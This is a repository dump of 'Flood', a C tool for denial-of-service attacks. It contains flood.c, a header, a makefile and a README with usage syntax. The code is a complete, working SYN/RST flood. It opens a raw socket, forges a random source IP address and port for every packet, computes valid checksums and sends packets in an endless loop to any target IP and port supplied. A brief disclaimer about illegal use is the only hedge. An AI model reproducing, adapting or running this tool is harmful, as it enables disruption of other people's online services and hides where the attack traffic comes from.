├── log_flood.pcapng ├── flood.h ├── makefile ├── README.txt └── flood.c /log_flood.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shaycoh/DDoS/HEAD/log_flood.pcapng -------------------------------------------------------------------------------- /flood.h: -------------------------------------------------------------------------------- 1 | 2 | /* return random number (0-65535) for spoof source port */ 3 | int randomPort(); 4 | 5 | /* return a random valid ip for spoof source ip */ 6 | char *randomIp(); 7 | 8 | /* check if the ipv4 is possible not if active */ 9 | int validIp(char *ip); 10 | 11 | /* Calculate Checksum */ 12 | unsigned short checksum(unsigned short *ptr, int nbytes); 13 | -------------------------------------------------------------------------------- /makefile: -------------------------------------------------------------------------------- 1 | 2 | 3 | all: flood.c 4 | gcc -Wall -Wvla -Werror -g flood.c -o flood 5 | 6 | @echo "\\nFlood v1.0 (c) 2017 by Shay Cohen - Please do not use this program for illegal uses.\\n\\nsyntax: ./flood [[-t IP] [-p PORT] [-r]]\\noptions:\\n -t the target: IP (default 127.0.0.1)\\n -p the target: PORT (default 80)\\n -r set RST flag\\n\\nFlood is a tool involves sending many SYN packets to a specific target.\\n\\nExample: sudo ./flood -t 192.168.0.1 -p 8080" 7 | 8 | clean: 9 | rm flood 10 | @echo Clean done 11 | -------------------------------------------------------------------------------- /README.txt: -------------------------------------------------------------------------------- 1 | 2 | Flood v1.0 (c) 2017 by ShayMC - Please do not use this program for illegal uses. 3 | 4 | Flood is a tool involves sending many SYN packets to a specific target. 5 | A Distributed Denial of Service (DDoS) attack is an attempt to make an online 6 | service unavailable by overwhelming it with traffic from multiple sources. 7 | 8 | installation: 9 | 1.type make 10 | 2.run flood file by Admin/root user 11 | 12 | 13 | syntax: ./flood [[-t IP] [-p PORT] [-r] 14 | 15 | options: 16 | -t the target: IP (default 127.0.0.1) 17 | -p the target: PORT (default 80) 18 | -r set RST flag 19 | 20 | Example: sudo ./flood -t 192.168.0.1 -p 8080" 21 | -------------------------------------------------------------------------------- /flood.c: -------------------------------------------------------------------------------- 1 | 2 | #include "flood.h" 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #define DEFULT_IP "127.0.0.1" 18 | #define DEFULT_PORT 80 19 | 20 | int countOfPacket = 0; 21 | int sending = 1; 22 | char source_ip[32]; 23 | 24 | struct pseudo_header // for checksum calculation 25 | { 26 | unsigned int source_address; 27 | unsigned int dest_address; 28 | unsigned char placeholder; 29 | unsigned char protocol; 30 | unsigned short tcp_length; 31 | 32 | struct tcphdr tcp; 33 | }; 34 | 35 | // random number for port spoofing(0-65535) 36 | int randomPort() { return rand() % 65535; } 37 | 38 | // random number for IP spoofing(0-255) 39 | int randomForIp() { return rand() % 255; } 40 | 41 | // IP spoofer 42 | char *randomIp() { 43 | strcpy(source_ip, ""); 44 | int dots = 0; 45 | while (dots < 3) { 46 | sprintf(source_ip, "%s%d", source_ip, randomForIp()); 47 | strcat(source_ip, "."); 48 | fflush(NULL); 49 | dots++; 50 | } 51 | sprintf(source_ip, "%s%d", source_ip, randomForIp()); 52 | strcat(source_ip, "\0"); 53 | return source_ip; 54 | } 55 | 56 | int validIp(char *ip) { 57 | struct sockaddr_in sa; 58 | return inet_pton(AF_INET, ip, &(sa.sin_addr)) != 0; 59 | } 60 | 61 | // interrupt for Ctrl+C command 62 | void sigintHandler(int sig) { 63 | sending = 0; 64 | printf("\n%d [DATA] packets sent\n", countOfPacket); 65 | exit(0); 66 | } 67 | 68 | unsigned short checksum(unsigned short *ptr, int nbytes) { 69 | register long sum; 70 | unsigned short oddbyte; 71 | register short ans; 72 | sum = 0; 73 | while (nbytes > 1) { 74 | sum += *ptr++; 75 | nbytes -= 2; 76 | } 77 | if (nbytes == 1) { 78 | oddbyte = 0; 79 | *((u_char *)&oddbyte) = *(u_char *)ptr; 80 | sum += oddbyte; 81 | } 82 | sum = (sum >> 16) + (sum & 0xffff); 83 | sum = sum + (sum >> 16); 84 | ans = (short)~sum; 85 | 86 | return (ans); 87 | } 88 | 89 | int main(int argc, char *argv[]) { 90 | int destination_port = DEFULT_PORT; 91 | char destination_ip[32] = DEFULT_IP; 92 | int flagRst = 0; 93 | int flagSyn = 1; 94 | int opt = 0; 95 | 96 | srand(time(0)); // gives the random function a new seed 97 | signal(SIGINT, sigintHandler); // send interrupt for Ctrl+C command 98 | 99 | while ((opt = getopt(argc, argv, "t:p:r")) != -1) { 100 | switch (opt) { 101 | case 't': 102 | strcpy(destination_ip, optarg); 103 | if (!validIp(destination_ip)) { 104 | printf("[ERROR] invalid ip - Program terminated\n"); 105 | exit(1); 106 | } 107 | break; 108 | case 'p': 109 | destination_port = strtol(optarg, NULL, 10); 110 | if (destination_port < 0 || destination_port > 65535) { 111 | printf("[ERROR] invalid port - Program terminated\n"); 112 | exit(1); 113 | } 114 | break; 115 | case 'r': 116 | flagRst = 1; 117 | flagSyn = 0; 118 | break; 119 | default: 120 | printf("[ERROR] Program terminated\n"); 121 | exit(1); 122 | } 123 | } 124 | printf("[DATA] Flood is starting...\n"); 125 | 126 | // Create a raw socket 127 | int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); 128 | 129 | // Datagram to represent the packet 130 | char datagram[4096]; 131 | 132 | // IP header 133 | struct iphdr *iph = (struct iphdr *)datagram; 134 | 135 | // TCP header 136 | struct tcphdr *tcph = (struct tcphdr *)(datagram + sizeof(struct ip)); 137 | struct sockaddr_in sin; 138 | struct pseudo_header psh; 139 | 140 | sin.sin_addr.s_addr = inet_addr(destination_ip); // set destination ip 141 | sin.sin_port = htons(5060); // socket port 142 | sin.sin_family = AF_INET; // set to ipv4 143 | 144 | memset(datagram, 0, 4096); /* clean the buffer */ 145 | 146 | // IP Header 147 | iph->ihl = 5; // header length 148 | iph->version = 4; // Version 149 | iph->tos = 0; // Type of service 150 | iph->tot_len = sizeof(struct ip) + sizeof(struct tcphdr); // Total length 151 | iph->id = htons(54321); // Id of this packet 152 | iph->frag_off = 0; // Fragmentation offset 153 | iph->ttl = 255; // Time to live 154 | iph->protocol = IPPROTO_TCP; // Protocol tcp 155 | iph->check = 0; // Set to 0 before calculating checksum 156 | iph->daddr = sin.sin_addr.s_addr; // set source IP 157 | 158 | // TCP Header 159 | tcph->dest = htons(destination_port); // Destination port 160 | tcph->seq = 0; // Sequence number 161 | tcph->ack_seq = 0; 162 | tcph->doff = 5; /* Data offset */ 163 | tcph->fin = 0; 164 | tcph->syn = flagSyn; 165 | tcph->rst = flagRst; 166 | tcph->psh = 0; 167 | tcph->ack = 0; 168 | tcph->urg = 0; 169 | tcph->window = htons(5840); /* maximum window size */ 170 | tcph->urg_ptr = 0; 171 | 172 | // IP checksum 173 | psh.dest_address = sin.sin_addr.s_addr; 174 | psh.placeholder = 0; 175 | psh.protocol = IPPROTO_TCP; 176 | psh.tcp_length = htons(20); 177 | 178 | // tells the kernel that the IP header is included so it will fill the data 179 | // link layer information. 180 | // Ethernet header IP_HDRINCL to tell the kernel that headers are included 181 | // in the packet 182 | int one = 1; 183 | const int *val = &one; 184 | if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) { 185 | printf("[ERROR] number : %d Error message : %s \n", errno, 186 | strerror(errno)); 187 | fprintf(stderr, "Program needs to be run by " 188 | "Admin/root user\n"); 189 | exit(1); 190 | } 191 | 192 | printf("[DATA] attacking ip %s on port %d and RST flag is %d...\n", 193 | destination_ip, destination_port, flagRst); 194 | 195 | while (sending) { 196 | iph->saddr = inet_addr(randomIp()); // random ip the source ip address 197 | iph->check = checksum((unsigned short *)datagram, 198 | iph->tot_len >> 1); /* checksum for ip header*/ 199 | 200 | psh.source_address = 201 | inet_addr(source_ip); /*update source ip in IP checksum*/ 202 | 203 | tcph->source = htons(randomPort()); /*random spoof port */ 204 | tcph->check = 0; /*checksum is set to zero */ 205 | 206 | memcpy(&psh.tcp, tcph, sizeof(struct tcphdr)); 207 | 208 | tcph->check = 209 | checksum((unsigned short *)&psh, 210 | sizeof(struct pseudo_header)); /* checksum for tcp header*/ 211 | /* 212 | Send the packet:our socket,the buffer containing headers and data,total 213 | length of our datagram,routing flags, normally always 0,socket addr, just 214 | like in,a normal send() 215 | */ 216 | if (sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, 217 | sizeof(sin)) < 0) { 218 | printf("\n[ERROR] Program terminated\n"); 219 | exit(1); 220 | } else { 221 | // sent successfully 222 | countOfPacket++; 223 | } 224 | } 225 | close(s); 226 | return 0; 227 | } 228 | --------------------------------------------------------------------------------